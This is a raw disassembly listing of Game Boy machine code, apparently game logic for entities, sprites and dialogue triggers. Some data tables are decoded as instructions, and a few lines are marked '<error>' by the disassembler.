ld [$c167], a
ld a, $23
ldh [$ff00 + $f2], a
call func_27bd
call func_0891
ld [hl], $40
call func_7a44
add a, $08
call func_3b87
call func_7a24
add a, $12
cp $24
jr nc, 0.l_4b2e
call func_7a34
add a, $12
cp $24
jr nc, 0.l_4b2e
ld hl, $c2b0
add hl, bc
ld [hl], $01
call func_3b8d
ret
call func_0891
cp $01
jr nz, 0.l_4b3f
ld a, $0a
call func_2197
ret
and a
jr nz, 0.l_4b65
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_4b50
call func_7a44
add a, $08
call func_3b87
ld hl, $c2b0
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_4b5b
call func_5409
call func_544c
jr nc, 0.l_4b65
ld a, $0b
call func_2197
ret
ld a, b
nop
ld hl, $c2c0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_4b98
ld de, $4b66
call func_3cd0
call func_7965
call func_79d1
call func_0891
jp z, $7a6b
and $10
ld e, $01
jr z, 0.l_4b8a
ld e, $ff
ldh a, [$ff00 + $e7]
and $01
jr nz, 0.l_4b97
ld hl, $c240
add hl, bc
ld a, [hl]
add a, e
ld [hl], a
ret
ld a, [$db73]
and a
jr nz, 0.l_4bae
ld a, [$db67]
and $02
jp nz, $7a6b
ld a, [$db0e]
cp $04
jp nc, $7a6b
ld a, [$db48]
and a
jr nz, 0.l_4bbb
ld a, [$db4e]
and a
jp nz, $7a6b
ld a, [$db73]
and a
jr nz, 0.l_4bcb
ld a, [$db48]
and a
jr z, 0.l_4bdf
cp $01
jr nz, 0.l_4bdf
ld hl, $c200
add hl, bc
ld [hl], $18
ld hl, $c210
add hl, bc
ld [hl], $34
call func_3dba
ld de, $48f1
jr 0.l_4bf3
call func_4d52
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_4bf0
call func_7a44
ld hl, $c3b0
add hl, bc
ld [hl], e
ld de, $48e1
call func_3c3b
call func_7965
call func_5409
ldh a, [$ff00 + $f0]
rst 0
add hl, bc
ld c, h
ldd [hl], a
ld c, h
ld c, b
ld c, h
adc a, c
ld c, h
ld h, $4d
ld a, [$db44]
and a
jr z, 0.l_4c15
call func_3b8d
ld [hl], $03
ret
ldh a, [$ff00 + $99]
cp $7b
jr c, 0.l_4c24
sub a, $02
ldh [$ff00 + $99], a
ld a, $00
jp $2197
call func_544c
jr nc, 0.l_4c31
ld a, $54
call func_2197
call func_3b8d
ret
ld a, [$c19f]
and a
jr nz, 0.l_4c45
call func_0891
ld [hl], $80
ld a, $10
ld [$d368], a
call func_3b8d
ret
add a, [hl]
stop
call func_0891
jr nz, 0.l_4c66
ld [$c167], a
ld d, $04
call func_5261
ld a, $01
ld [$db44], a
ld a, $22
ldh [$ff00 + $9d], a
ld a, $91
call func_2197
jp $3b8d
ldh a, [$ff00 + $98]
ldh [$ff00 + $ee], a
ldh a, [$ff00 + $99]
sub a, $0c
ldh [$ff00 + $ec], a
xor a
ldh [$ff00 + $f1], a
ld de, $4c46
call func_3cd0
call func_3dba
ld a, $6c
ldh [$ff00 + $9d], a
ld a, $02
ldh [$ff00 + $a1], a
ld a, $03
ldh [$ff00 + $9e], a
ret
ld a, [$db48]
and a
jr z, 0.l_4cce
cp $01
jr z, 0.l_4cb9
call func_544c
jr nc, 0.l_4cac
ld a, [$db73]
and a
ld a, $dd
jr nz, 0.l_4cb5
ld a, [$db0e]
cp $03
jr nz, 0.l_4cb3
ld a, $c5
call func_2185
ld a, [$db73]
and a
jr nz, 0.l_4ce0
ret
ld a, $c5
call func_2185
ret
call func_544c
jr nc, 0.l_4ccc
ld a, [$db65]
bit 1, a
ld a, $11
jr z, 0.l_4cc9
ld a, $10
call func_2197
jr 0.l_4cd9
call func_544c
jr nc, 0.l_4cd8
ld a, $55
call func_2197
ret
ld a, [$db48]
cp $01
jr nz, 0.l_4d25
ld hl, $c3d0
add hl, bc
ld a, [hl]
add a, $07
ld [hl], a
jr nc, 0.l_4d25
ld a, $3f
call func_3c01
ldh a, [$ff00 + $d7]
add a, $06
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
sub a, $03
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2c0
add hl, de
ld [hl], $01
ld hl, $c240
add hl, de
ld [hl], $ff
ld hl, $c250
add hl, de
ld [hl], $fd
ld hl, $c2e0
add hl, de
ld [hl], $30
ld hl, $c340
add hl, de
ld [hl], $c1
ld hl, $c350
add hl, de
ld [hl], $00
ret
ld a, [$c19f]
and a
jr nz, 0.l_4d49
ld a, [$c177]
and a
jr nz, 0.l_4d40
ld a, $04
ld [$db0e], a
ld a, $0d
ldh [$ff00 + $a5], a
call func_0898
jr 0.l_4d45
ld a, $c9
call func_2185
call func_3b8d
ld [hl], b
ret
ld [hl], h
nop
halt
nop
ld [hl], b
nop
ld [hl], d
nop
ld a, [$db48]
cp $02
ret nz
ld a, [$db0e]
cp $04
jr nc, 0.l_4d66
ld a, $78
ld de, $4d4a
jr 0.l_4d76
ldh a, [$ff00 + $f8]
and $20
ret z
ld hl, $c210
add hl, bc
ld [hl], $4b
ld de, $4d4e
ld a, $7c
ldh [$ff00 + $ee], a
ld a, $5c
ldh [$ff00 + $ec], a
xor a
ldh [$ff00 + $f1], a
call func_3c3b
call func_3dba
ld hl, $c3b0
add hl, bc
ld a, [hl]
ldh [$ff00 + $f1], a
ret
ld h, b
nop
ld h, d
nop
ld h, d
jr nz, 0.l_4df4
jr nz, 0.l_4dfa
nop
ld h, [hl]
nop
ld h, [hl]
jr nz, 0.l_4e00
jr nz, 0.l_4e06
nop
ld l, d
nop
ld l, h
nop
ld l, [hl]
nop
ld l, d
jr nz, 0.l_4e10
jr nz, 0.l_4e18
jr nz, 0.l_4e18
jr nz, 0.l_4e16
nop
ld l, d
nop
ld l, d
jr nz, 0.l_4e1c
jr nz, 0.l_4e1c
nop
ld h, [hl]
jr nz, 0.l_4e20
nop
ld h, [hl]
jr nz, 0.l_4e2a
nop
ld l, [hl]
nop
ld l, h
nop
ld l, [hl]
nop
ld l, [hl]
jr nz, 0.l_4e34
jr nz, 0.l_4e38
jr nz, 0.l_4e38
jr nz, 0.l_4e2e
nop
ld h, d
nop
ld h, h
nop
ld h, h
jr nz, 0.l_4e38
jr nz, 0.l_4e38
jr nz, 0.l_4de2
ld [$0908], sp
ld a, [bc]
ld a, [bc]
ld a, [bc]
add hl, bc
ld [$06f8], sp
ld bc, $95fa
<error>
cp $01
jp z, .l_4e4e
ld a, [$db73]
and a
jp nz, $7a6b
ld a, [$dba5]
and a
jp nz, .l_511d
ld a, [$db4e]
and a
jp z, $7a6b
ldh a, [$ff00 + $f6]
cp $c0
jr c, 0.l_4e0a
jr 0.l_4e19
ld a, [$d808]
and $10
jr nz, 0.l_4e19
ld a, [$db0e]
cp $07
jp nc, $7a6b
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_4e3f
ld hl, $c380
add hl, bc
ld [hl], $03
call func_7a24
add a, $14
cp $28
jr nc, 0.l_4e3f
call func_7a34
add a, $14
cp $28
jr nc, 0.l_4e3f
call func_7a44
ld hl, $c380
add hl, bc
ld [hl], e
call func_5430
ld a, [$c3c8]
cp $01
jr nz, 0.l_4ea7
call func_088c
jr nz, 0.l_4ea7
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $4dd9
add hl, de
ld a, [hl]
ldh [$ff00 + $f1], a
ldh a, [$ff00 + $e7]
add a, $10
and $1f
jr nz, 0.l_4ea7
ld a, $c9
call func_3c01
jr c, 0.l_4ea7
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
sub a, $08
ld [hl], a
push bc
ldh a, [$ff00 + $e7]
add a, $10
rr a
rr a
rr a
rr a
rr a
and $01
ld c, a
ld hl, $4de1
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $4de3
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $c250
add hl, de
ld [hl], $fc
ld hl, $c3d0
add hl, de
ld [hl], $40
pop bc
ld a, c
ld [$c50f], a
ld de, $4dad
call func_3c3b
call func_5409
ldh a, [$ff00 + $f0]
rst 0
jp .l_844e
ld c, a
cp l
ld c, a
adc a, h
ld d, b
cp b
ld d, b
dec bc
ld d, c
ldh a, [$ff00 + $f6]
cp $c0
jr nc, 0.l_4ed0
ld a, [$c3c8]
and a
jp nz, .l_4f83
call func_544c
jp nc, .l_4f83
ld a, [$d808]
and $10
jr z, 0.l_4f0a
ld hl, $d892
ld a, [hl]
and $40
jr nz, 0.l_4eec
set 6, [hl]
ld a, $94
jp $2185
ld a, [$db49]
and $04
jr z, 0.l_4ef8
ld a, $95
jp $2185
ld e, $0b
ld hl, $db00
ldi a, [hl]
cp $09
jr z, 0.l_4f0a
dec e
ld a, e
cp $ff
jr nz, 0.l_4efd
jr 0.l_4ef3
call func_088c
ld [hl], $10
ld d, $2f
ld e, $03
ld a, [$db48]
and a
jr z, 0.l_4f5e
ld e, $06
cp $02
jr nz, 0.l_4f33
ld e, $05
ldh a, [$ff00 + $f6]
cp $c0
jr c, 0.l_4f33
push de
call func_27bd
pop de
ld hl, $c2d0
add hl, bc
ld [hl], b
ld e, $92
push bc
ld c, $0b
ld hl, $db00
ldi a, [hl]
cp $09
jr nz, 0.l_4f57
ld e, $04
ld d, $4a
ld a, [$db49]
and $04
jr z, 0.l_4f5d
ld e, $05
ld d, $2f
ldh a, [$ff00 + $f6]
cp $c0
jr c, 0.l_4f5d
ld e, $92
jr 0.l_4f5d
dec c
ld a, c
cp $ff
jr nz, 0.l_4f39
pop bc
ld a, e
cp $80
jr c, 0.l_4f68
call func_2185
jr 0.l_4f6b
call func_2197
ldh a, [$ff00 + $f6]
cp $c0
jr c, 0.l_4f7b
ld hl, $c2d0
add hl, bc
ld [hl], b
push de
call func_27bd
pop de
ld hl, $c440
add hl, bc
ld [hl], d
call func_3b8d
ret
call func_7965
ld hl, $c440
add hl, bc
ld d, [hl]
ld hl, $c2d0
add hl, bc
ld a, [hl]
and a
ld a, d
jr nz, 0.l_4fa2
inc [hl]
ld [$d368], a
ldh [$ff00 + $b0], a
ldh [$ff00 + $bd], a
ld hl, $c3c8
ld [hl], $01
cp $4a
jr nz, 0.l_4fb8
ld a, [$db49]
and $04
jr nz, 0.l_4fb8
call func_3b8d
xor a
ld [$d210], a
ld [$d211], a
ret
call func_3b8d
ld [hl], b
ret
ld a, $02
ldh [$ff00 + $a1], a
push bc
call func_087c
pop bc
ld a, [$d211]
cp $07
jr nz, 0.l_4feb
ld a, [$d210]
cp $e8
jr nz, 0.l_4feb
ld a, $16
call func_2197
push bc
call func_087c
pop bc
xor a
ld [$d210], a
ld [$d211], a
call func_27d2
jp $3b8d
call func_7a44
ld a, e
xor $01
ldh [$ff00 + $9e], a
ld a, [$d210]
add a, $01
ld [$d210], a
ld e, a
ld a, [$d211]
adc a, $00
ld [$d211], a
ld d, a
ld a, [$d211]
cp $07
jr nz, 0.l_5018
ld a, [$d210]
cp $e0
jr c, 0.l_5018
xor a
ld [$c3c8], a
ret
ld hl, $c3c8
ld [hl], $01
ld a, e
srl d
rr a
srl d
rr a
srl d
rr a
srl d
rr a
cp $1d
jr c, 0.l_5033
cp $3b
jr nc, 0.l_5033
inc [hl]
cp $1d
ret c
ld a, $00
ldh [$ff00 + $9d], a
ldh a, [$ff00 + $e7]
ld e, $75
and $40
jr z, 0.l_5043
inc e
ld a, e
ldh [$ff00 + $9d], a
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_508b
ld a, $c9
call func_3c01
jr c, 0.l_508b
ldh a, [$ff00 + $99]
ld hl, $c210
add hl, de
sub a, $08
ld [hl], a
push bc
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
rr a
and $01
ld c, a
ld b, d
ld hl, $4de1
add hl, bc
ldh a, [$ff00 + $98]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $4de3
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
pop bc
ld hl, $c250
add hl, de
ld [hl], $fc
ld hl, $c3d0
add hl, de
ld [hl], $40
ret
ld a, [$c19f]
and a
jr nz, 0.l_50b5
call func_3b8d
ld a, [$c177]
and a
jr nz, 0.l_50a6
ld a, $10
ld [$d368], a
call func_0891
ld [hl], $80
ret
ld a, $15
call func_2197
call func_3b8d
ld [hl], $01
ld hl, $c2d0
add hl, bc
ld [hl], b
ret
sub a, b
stop
call func_0891
jr nz, 0.l_50e5
ld a, [$c19f]
and a
ret nz
ld hl, $db49
set 2, [hl]
xor a
ld [$db4a], a
call func_3b8d
ldh a, [$ff00 + $f6]
cp $c0
jr c, 0.l_50d5
ld [hl], b
ldh a, [$ff00 + $f6]
cp $c0
jr nc, 0.l_50e0
ld a, $14
jp $2197
ld a, $93
jp $2185
cp $08
jr nz, 0.l_50ef
dec [hl]
ld a, $13
call func_2197
ld a, $6c
ldh [$ff00 + $9d], a
ld a, $02
ldh [$ff00 + $a1], a
ldh a, [$ff00 + $98]
ldh [$ff00 + $ee], a
ldh a, [$ff00 + $99]
sub a, $0c
ldh [$ff00 + $ec], a
ld de, $50b6
xor a
ldh [$ff00 + $f1], a
call func_3cd0
ret
ld a, [$c19f]
and a
ret nz
call func_544c
ret nc
ld a, $97
jp $2185
ld e, h
nop
ld e, h
jr nz, 0.l_5118
ld c, $db
cp $07
jr c, 0.l_514c
ld a, [$d8fd]
and $30
jp nz, $7a6b
ld hl, $c210
add hl, bc
ld [hl], $60
ld hl, $c200
add hl, bc
ld [hl], $7a
ld de, $5119
call func_3c3b
call func_7965
call func_544c
jr nc, 0.l_514b
ld a, $d7
call func_2185
ret
ld a, [$db4e]
and a
jp nz, $7a6b
ld a, [$db44]
and a
jr z, 0.l_5162
ld hl, $c290
add hl, bc
ld a, $03
ld [hl], a
ldh [$ff00 + $f0], a
ldh a, [$ff00 + $f0]
and a
jr nz, 0.l_5189
call func_0887
ld [hl], $7f
ld hl, $c380
add hl, bc
ld [hl], $01
ld hl, $c200
add hl, bc
ld a, [hl]
sub a, $08
ld [hl], a
ld hl, $c210
add hl, bc
ld a, [hl]
sub a, $08
ld [hl], a
ld [$c167], a
call func_3b8d
ret
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_5197
call func_7a44
ld hl, $c380
add hl, bc
ld [hl], e
call func_5430
ld de, $4d8d
call func_3c3b
ldh a, [$ff00 + $f0]
dec a
rst 0
sbc a, $51
add hl, de
ld d, d
ld d, b
ld d, d
ld b, b
nop
ld b, d
nop
ld b, d
jr nz, 0.l_51f1
jr nz, 0.l_51f7
nop
ld b, [hl]
nop
ld c, b
nop
ld c, d
nop
ld c, b
nop
ld c, h
nop
inc bc
inc bc
inc bc
inc bc
inc bc
inc b
inc bc
inc b
inc bc
inc bc
inc bc
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
nop
nop
ld bc, $0001
nop
ld bc, $0001
nop
ld bc, $0001
nop
ld bc, $cd01
add a, a
ld [$0b20], sp
ld a, $01
call func_2197
ld [hl], $40
call func_3b8d
xor a
rr a
rr a
and $1f
ld e, a
ld d, b
ld hl, $51be
add hl, de
ld a, [hl]
ldh [$ff00 + $f1], a
ld a, $38
ldh [$ff00 + $ee], a
ldh [$ff00 + $98], a
ld a, $34
ldh [$ff00 + $ec], a
ldh [$ff00 + $99], a
ld a, $02
ldh [$ff00 + $a1], a
ld a, $ff
ldh [$ff00 + $9d], a
ld de, $51aa
call func_3c3b
call func_3dba
ret
ld a, $03
call func_51f9
call func_0891
ld hl, $c19f
or [hl]
jr nz, 0.l_524f
ldh a, [$ff00 + $cb]
and $0f
jr z, 0.l_524f
call func_3b8d
ld a, $01
ldh [$ff00 + $a2], a
ld a, $02
ld [$c146], a
ld a, $12
ldh [$ff00 + $a3], a
ld a, $0c
ldh [$ff00 + $9a], a
xor a
ldh [$ff00 + $9b], a
ld a, $00
ldh [$ff00 + $9e], a
ldh [$ff00 + $a1], a
ld a, $01
ld [$c10a], a
ret
call func_7965
call func_5409
call func_544c
jr nc, 0.l_5260
ld a, $02
call func_2197
ret
ld hl, $db00
ld e, $0c
ldi a, [hl]
cp d
jr z, 0.l_527d
dec e
jr nz, 0.l_5266
ld hl, $db00
ld a, [hl]
and a
jr nz, 0.l_5276
ld [hl], d
ret
inc hl
inc e
ld a, e
cp $0c
jr nz, 0.l_5270
ret
ld h, b
nop
ld h, d
nop
ld h, d
jr nz, 0.l_52e5
jr nz, 0.l_52eb
nop
ld h, [hl]
nop
ld h, [hl]
jr nz, 0.l_52f1
jr nz, 0.l_52f7
nop
ld l, d
nop
ld l, h
nop
ld l, [hl]
nop
ld l, d
jr nz, 0.l_5301
jr nz, 0.l_5309
jr nz, 0.l_5309
jr nz, 0.l_5299
and l
<error>
and a
jr z, 0.l_5322
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_52b2
call func_7a44
ld hl, $c380
add hl, bc
ld [hl], e
call func_5430
ld de, $527e
call func_3c3b
call func_7965
call func_5409
ldh a, [$ff00 + $f0]
rst 0
jp z, .l_de52
ld d, d
rrc a
ld d, e
ld a, [$d477]
and a
jr nz, 0.l_530f
call func_544c
jr nc, 0.l_52dd
ld a, $f0
call func_2197
call func_3b8d
ret
ld a, [$c19f]
and a
jr nz, 0.l_5308
call func_3b8d
ld a, [$c177]
and a
jr z, 0.l_52ef
ld [hl], b
ret
ld a, [$db5e]
sub a, $00
ld a, [$db5d]
sbc a, $01
jr c, 0.l_5309
ld a, $64
ld [$db92], a
ld a, $f1
ld [$d477], a
call func_2197
ret
ld [hl], b
ld a, $4e
jp $2197
call func_544c
jr nc, 0.l_5319
ld a, $f1
call func_2197
ret
ld e, h
nop
ld e, h
jr nz, 0.l_537d
nop
ld e, [hl]
jr nz, 0.l_5344
ld b, b
call nz, func_fa09
ld [hl], a
call nc, func_20b6
dec hl
ld e, $0f
ld d, b
ld a, e
cp c
jr z, 0.l_5345
ld hl, $c280
add hl, de
ld a, [hl]
and a
jr z, 0.l_5345
ld hl, $c3a0
add hl, de
ld a, [hl]
cp $6a
jp z, $7a6b
dec e
ld a, e
cp $ff
jr nz, 0.l_532f
ld de, $531a
call func_3c3b
call func_7965
jp $5409
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $01
call func_3b87
ldh a, [$ff00 + $98]
ld hl, $ffee
sub a, [hl]
add a, $10
cp $20
jr nc, 0.l_5386
ldh a, [$ff00 + $99]
ld hl, $ffef
sub a, [hl]
add a, $14
cp $1c
jr nc, 0.l_5386
ld a, $80
ld [$c1ad], a
ldh a, [$ff00 + $98]
ld hl, $c200
add hl, bc
ld [hl], a
ld a, [$c11f]
and a
jr z, 0.l_5392
call func_3b8d
ld [hl], b
jr 0.l_53cd
ldh a, [$ff00 + $f0]
rst 0
sbc a, e
ld d, e
or d
ld d, e
sub a, $53
call func_7a24
add a, $08
cp $10
jr nc, 0.l_53b0
call func_7a34
add a, $09
cp $12
jr nc, 0.l_53b0
call func_3b8d
jr 0.l_53cd
ldh a, [$ff00 + $ee]
ldh [$ff00 + $98], a
ldh a, [$ff00 + $ec]
sub a, $05
ldh [$ff00 + $99], a
call func_3b8d
ld hl, $c440
add hl, bc
ld [hl], $01
xor a
ld [$d477], a
ld a, $01
ldh [$ff00 + $b2], a
call func_3dba
ld de, $531a
jp $3c3b
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $01
ld [$c13b], a
ldh a, [$ff00 + $f6]
ld hl, $c3e0
add hl, bc
ld [hl], a
ldh a, [$ff00 + $98]
ld hl, $c200
add hl, bc
ld [hl], a
ldh a, [$ff00 + $99]
ld hl, $c210
add hl, bc
add a, $05
ld [hl], a
ld hl, $c310
add hl, bc
ld [hl], b
ld a, [$c11c]
cp $02
jr nz, 0.l_5407
ldh a, [$ff00 + $a2]
ld [hl], a
jr 0.l_53c9
call func_3bd5
jr nc, 0.l_542b
call func_094a
call func_0942
ld a, [$c1a6]
and a
jr z, 0.l_542b
ld e, a
ld d, b
ld hl, $c39f
add hl, de
ld a, [hl]
cp $03
jr nz, 0.l_542b
ld hl, $c28f
add hl, de
ld [hl], $00
ret
ld b, $04
ld [bc], a
nop
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $542c
add hl, de
push hl
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
rr a
rr a
rr a
rr a
pop hl
and $01
or [hl]
jp $3b87
ld e, b
ldh a, [$ff00 + $99]
ld hl, $ffef
sub a, [hl]
add a, $14
cp $28
jr nc, 0.l_549d
ldh a, [$ff00 + $98]
ld hl, $ffee
sub a, [hl]
add a, $10
cp $20
jr nc, 0.l_549d
inc e
ldh a, [$ff00 + $eb]
cp $6d
jr z, 0.l_5478
push de
call func_7a44
ldh a, [$ff00 + $9e]
xor $01
cp e
pop de
jr nz, 0.l_549d
ld hl, $c1ad
ld [hl], $01
ld a, [$c19f]
ld hl, $c14f
or [hl]
ld hl, $c146
or [hl]
ld hl, $c134
or [hl]
jr nz, 0.l_549d
ld a, [$db9a]
cp $80
jr nz, 0.l_549d
ldh a, [$ff00 + $cc]
and $10
jr z, 0.l_549d
scf
ret
and a
ret
call func_0887
ld [hl], $c0
ld a, $18
ld [$d202], a
ret
ld hl, $c2d0
add hl, bc
ld a, [hl]
rst 0
cp b
ld d, h
ld [hl], l
ld e, b
inc a
ld e, b
cp a
ld e, b
call func_3f12
call func_580e
ldh a, [$ff00 + $ea]
cp $05
jr z, 0.l_5500
ld [$c1c6], a
ld hl, $c2c0
add hl, bc
ld a, [hl]
rst 0
pop de
ld d, h
rst 18
ld d, h
call func_0891
ld [hl], $ff
ld hl, $c420
add hl, bc
ld [hl], $ff
jp .l_6294
call func_0891
jp z, .l_54f2
ld hl, $c420
add hl, bc
ld [hl], a
cp $80
jr nc, 0.l_54f1
call func_7476
ret
call func_74ad
ld hl, $c480
add hl, de
ld [hl], $08
ret
ldhl sp, d
xor b
ld [$cdf8], sp
ld h, l
ld a, c
ld hl, $c300
add hl, bc
ld a, [hl]
and a
jr z, 0.l_5554
and $3f
jr nz, 0.l_5554
ld a, $65
ld e, $04
call func_3c13
jr c, 0.l_5586
ld hl, $c340
add hl, de
ld [hl], $02
ld hl, $c350
add hl, de
ld [hl], $80
ld hl, $c430
add hl, de
ld [hl], $40
ld hl, $c2d0
add hl, de
ld [hl], $01
ld hl, $c200
add hl, de
ld a, [$d202]
ld [hl], a
add a, $20
ld [$d202], a
cp $a8
jr c, 0.l_5546
ld a, $08
ld [$d202], a
call func_27ed
ld hl, $c3d0
add hl, de
ld [hl], a
ld hl, $c210
add hl, de
ld [hl], $00
ld a, [$d201]
inc a
ld [$d201], a
and $7f
jr nz, 0.l_5586
ld a, $65
ld e, $04
call func_3c13
jr c, 0.l_5586
ld hl, $c340
add hl, de
ld [hl], $41
ld hl, $c2d0
add hl, de
ld [hl], $02
ldh a, [$ff00 + $d7]
sub a, $14
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
sub a, $04
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c360
add hl, bc
ld a, [hl]
cp $0a
jr nc, 0.l_55e7
ld a, [$d201]
add a, $40
and $ff
jr nz, 0.l_55e7
ld a, $65
ld e, $04
call func_3c13
jr c, 0.l_55e7
ld hl, $c4d0
add hl, de
ld [hl], d
ld hl, $c340
add hl, de
ld [hl], $02
ld hl, $c430
add hl, de
ld [hl], d
ld hl, $c360
add hl, de
ld [hl], d
ld hl, $c2d0
add hl, de
ld [hl], $03
call func_27ed
and $3f
add a, $20
ld hl, $c210
add hl, de
ld [hl], a
push bc
and $01
ld c, a
ld hl, $54fc
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $54fe
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $c2e0
add hl, de
ld [hl], $40
pop bc
call func_08e2
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
rr a
rr a
rr a
rr a
and $01
ld hl, $c3b0
add hl, bc
ld [hl], a
ldh a, [$ff00 + $ee]
sub a, $10
ldh [$ff00 + $ee], a
ldh a, [$ff00 + $ec]
sub a, $10
ldh [$ff00 + $ec], a
ld hl, $c350
add hl, bc
ld [hl], $00
call func_3b65
call func_3beb
call func_3dba
ld hl, $c350
add hl, bc
ld [hl], $14
call func_3b65
call func_3bbf
ldh a, [$ff00 + $f0]
rst 0
cpl
ld d, [hl]
ld l, [hl]
ld d, [hl]
xor b
ld d, [hl]
ld [$60f8], sp
jr 0.l_55fd
add a, a
ld [$1520], sp
call func_0891
ld [hl], $80
call func_3b8d
call func_27ed
and $1f
add a, $60
ld hl, $c2b0
add hl, bc
ld [hl], a
ret
ld hl, $c380
add hl, bc
ld e, [hl]
ld d, b
ld hl, $562d
add hl, de
ldh a, [$ff00 + $ec]
cp [hl]
jr nz, 0.l_5660
ld a, e
xor $01
ld hl, $c380
add hl, bc
ld [hl], a
ld hl, $562b
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_79d4
ret
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
inc [hl]
call func_0891
cp $60
jr nz, 0.l_5681
ld hl, $fff3
ld [hl], $0d
jr nc, 0.l_56a7
ld hl, $c240
add hl, bc
ld [hl], $d0
call func_79de
ldh a, [$ff00 + $ee]
cp $18
jr nc, 0.l_56a7
ld a, $30
ld [$c157], a
xor a
ld [$c158], a
call func_08d7
ld hl, $c300
add hl, bc
ld [hl], $ff
call func_3b8d
ret
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc [hl]
ld a, [$c157]
and a
jr nz, 0.l_56d5
ld hl, $c240
add hl, bc
ld [hl], $20
call func_79de
ld hl, $c2b0
add hl, bc
ldh a, [$ff00 + $ee]
cp [hl]
jr c, 0.l_56d5
call func_0887
call func_27ed
and $1f
add a, $40
ld [hl], a
call func_3b8d
ld [hl], b
ret
ldh a, [$ff00 + $f0]
ld b, b
nop
ldh a, [$ff00 + $f8]
ld b, d
nop
ldh a, [$ff00 + $00]
ld b, h
nop
ldh a, [$ff00 + $08]
ld b, [hl]
stop
ldh a, [$ff00 + $10]
ld c, b
stop
ldh a, [$ff00 + $18]
ld c, d
stop
nop
ldh a, [$ff00 + $4c]
nop
nop
ldhl sp, d
ld c, [hl]
nop
nop
nop
ld d, b
stop
nop
ld [$1052], sp
nop
stop
ld d, h
stop
nop
jr 0.l_575b
stop
nop
jr nz, 0.l_5761
stop
stop
ldhl sp, d
ld e, d
stop
stop
nop
ld e, h
stop
stop
ld [$105e], sp
stop
stop
ld h, b
stop
stop
jr 0.l_577f
stop
stop
jr nz, 0.l_5785
stop
nop
nop
rst 38
nop
ldh a, [$ff00 + $f0]
ld h, [hl]
nop
ldh a, [$ff00 + $f8]
ld b, d
nop
ldh a, [$ff00 + $00]
ld b, h
nop
ldh a, [$ff00 + $08]
ld b, [hl]
stop
ldh a, [$ff00 + $10]
ld c, b
stop
ldh a, [$ff00 + $18]
ld c, d
stop
nop
ldh a, [$ff00 + $68]
nop
nop
ldhl sp, d
ld c, [hl]
nop
nop
nop
ld d, b
stop
nop
ld [$1052], sp
nop
stop
ld d, h
stop
nop
jr 0.l_57ab
stop
nop
jr nz, 0.l_57c3
stop
stop
ldhl sp, d
ld e, d
stop
stop
nop
ld e, h
stop
stop
ld [$105e], sp
stop
stop
ld h, b
stop
stop
jr 0.l_57cf
stop
stop
jr nz, 0.l_57dd
stop
ldh a, [$ff00 + $18]
ld c, d
stop
ldh a, [$ff00 + $08]
ld b, [hl]
stop
ldh a, [$ff00 + $10]
ld c, b
stop
ldh a, [$ff00 + $f8]
ld b, d
nop
ldh a, [$ff00 + $00]
ld b, h
nop
ldh a, [$ff00 + $f0]
ld b, b
nop
nop
jr nz, 0.l_57e5
stop
nop
ld [$1052], sp
nop
stop
ld d, h
stop
nop
jr 0.l_57ef
stop
nop
ldhl sp, d
ld c, [hl]
nop
nop
nop
ld d, b
stop
nop
ldh a, [$ff00 + $4c]
nop
stop
jr nz, 0.l_580d
stop
stop
stop
ld h, b
stop
stop
jr 0.l_5813
stop
stop
nop
ld e, h
stop
stop
ld [$105e], sp
stop
ldhl sp, d
ld e, d
stop
nop
nop
rst 38
nop
ldh a, [$ff00 + $18]
ld c, d
stop
ldh a, [$ff00 + $08]
ld b, [hl]
stop
ldh a, [$ff00 + $10]
ld c, b
stop
ldh a, [$ff00 + $f8]
ld b, d
nop
ldh a, [$ff00 + $00]
ld b, h
nop
ldh a, [$ff00 + $f0]
ld h, [hl]
nop
nop
jr nz, 0.l_5847
stop
nop
ld [$1052], sp
nop
stop
ld d, h
stop
nop
jr 0.l_583f
stop
nop
ldhl sp, d
ld c, [hl]
nop
nop
nop
ld d, b
stop
nop
ldh a, [$ff00 + $68]
nop
stop
jr nz, 0.l_5865
stop
stop
stop
ld h, b
stop
stop
jr 0.l_5863
stop
stop
nop
ld e, h
stop
stop
ld [$105e], sp
stop
ldhl sp, d
ld e, d
stop
ldh a, [$ff00 + $f1]
sla a
sla a
sla a
sla a
ld e, a
sla a
sla a
add a, e
ld e, a
ld d, b
ld hl, $56d6
ldh a, [$ff00 + $e7]
and $01
jr z, 0.l_582c
ld hl, $5772
add hl, de
ld c, $13
call func_3d26
ld a, $13
call func_3dd0
ret
ld [hl], d
nop
ld [hl], d
jr nz, 0.l_584e
jr c, 0.l_5897
call func_3cd0
call func_7965
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
rr a
rr a
rr a
and $01
call func_3b87
ld hl, $c3d0
